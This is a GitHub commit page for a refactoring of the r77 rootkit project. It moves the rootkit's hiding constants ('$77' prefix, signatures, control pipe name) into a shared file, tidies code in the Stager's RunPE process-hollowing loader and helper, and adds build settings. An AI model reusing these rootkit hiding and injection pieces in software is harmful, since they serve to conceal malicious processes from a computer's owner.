Skip to content

Commit a1bd694

Browse files
author
bytecode77
committed
Refactoring
1 parent 72b68a1 commit a1bd694

File tree

13 files changed

+51
-26
lines changed

13 files changed

+51
-26
lines changed

BuildTask/BuildTask.csproj

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,9 @@
4141
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
4242
<Link>Properties\GlobalAssemblyInfo.cs</Link>
4343
</Compile>
44+
<Compile Include="..\Global\R77Const.cs">
45+
<Link>Properties\R77Const.cs</Link>
46+
</Compile>
4447
<Compile Include="BuildTask.cs" />
4548
</ItemGroup>
4649
<ItemGroup />

Example/Example.csproj

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,9 @@
6262
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
6363
<Link>Properties\GlobalAssemblyInfo.cs</Link>
6464
</Compile>
65+
<Compile Include="..\Global\R77Const.cs">
66+
<Link>Properties\R77Const.cs</Link>
67+
</Compile>
6568
<Compile Include="Properties\AssemblyInfo.cs" />
6669
<Page Include="MainWindow.xaml">
6770
<Generator>MSBuild:Compile</Generator>

Global/GlobalAssemblyInfo.cs

Lines changed: 1 addition & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -2,16 +2,4 @@
22

33
[assembly: AssemblyVersion("1.4.3")]
44
[assembly: AssemblyFileVersion("1.4.3")]
5-
[assembly: AssemblyCopyright("© bytecode77, 2023.")]
6-
7-
namespace Global
8-
{
9-
// These constants must match the preprocessor definitions in r77def.h
10-
public static class Config
11-
{
12-
public const string HidePrefix = "$77";
13-
public const ushort R77ServiceSignature = 0x7273;
14-
public const ushort R77HelperSignature = 0x7268;
15-
public const string ControlPipeName = HidePrefix + "control";
16-
}
17-
}
5+
[assembly: AssemblyCopyright("© bytecode77, 2023.")]

Global/R77Const.cs

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
namespace Global
2+
{
3+
// These constants must match the preprocessor definitions in r77def.h
4+
public static class Config
5+
{
6+
public const string HidePrefix = "$77";
7+
public const ushort R77ServiceSignature = 0x7273;
8+
public const ushort R77HelperSignature = 0x7268;
9+
public const string ControlPipeName = HidePrefix + "control";
10+
}
11+
}

Service/ProcessListener.h

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -27,9 +27,6 @@ typedef struct _NEW_PROCESS_LISTENER
2727
/// </summary>
2828
/// <param name="interval">The interval, in milliseconds, between each enumeration of running processes.</param>
2929
/// <param name="callback">The function that is called, when a process is found that was not present in the previous enumeration.</param>
30-
/// <returns>
31-
/// A pointer to the newly created NEW_PROCESS_LISTENER structure.
32-
/// </returns>
3330
VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback);
3431
static DWORD WINAPI NewProcessListenerThread(LPVOID parameter);
3532

Stager/Helper.cs

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,7 @@ public static bool Is64BitOperatingSystem()
2525
{
2626
using (Process process = Process.GetCurrentProcess())
2727
{
28-
bool wow64;
29-
if (IsWow64Process(process.Handle, out wow64))
28+
if (IsWow64Process(process.Handle, out bool wow64))
3029
{
3130
return wow64;
3231
}

Stager/RunPE.cs

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,10 @@ public static void Run(string path, string commandLine, byte[] payload, int pare
110110
// If the current attempt failed, terminate the created process to not have suspended "leftover" processes.
111111
Process.GetProcessById(processId).Kill();
112112
}
113-
catch { }
113+
catch
114+
{
115+
}
116+
114117
continue;
115118
}
116119

Stager/Stager.csproj

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,10 @@
3838
<PropertyGroup>
3939
<StartupObject />
4040
</PropertyGroup>
41+
<PropertyGroup />
42+
<PropertyGroup>
43+
<Win32Resource>A:\Code\GitHub\r77-rootkit\Stager\Stager.res</Win32Resource>
44+
</PropertyGroup>
4145
<ItemGroup>
4246
<Reference Include="System" />
4347
</ItemGroup>
@@ -64,6 +68,9 @@
6468
<ItemGroup>
6569
<None Include="Resources\Service64.exe" />
6670
</ItemGroup>
71+
<ItemGroup>
72+
<Content Include="Stager.res" />
73+
</ItemGroup>
6774
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
6875
<PropertyGroup>
6976
<PostBuildEvent>xcopy /Y "$(TargetPath)" "$(SolutionDir)Install\Resources"</PostBuildEvent>

Stager/Stager.res

32 Bytes
Binary file not shown.

TestConsole/TestConsole.csproj

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,9 @@
6767
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
6868
<Link>Properties\GlobalAssemblyInfo.cs</Link>
6969
</Compile>
70+
<Compile Include="..\Global\R77Const.cs">
71+
<Link>Properties\R77Const.cs</Link>
72+
</Compile>
7073
<Compile Include="Controller\ConfigSystemEntry.cs" />
7174
<Compile Include="Controller\ConfigSystemDirectory.cs" />
7275
<Compile Include="Controller\ConfigSystem.cs" />

0 commit comments

Comments
 (0)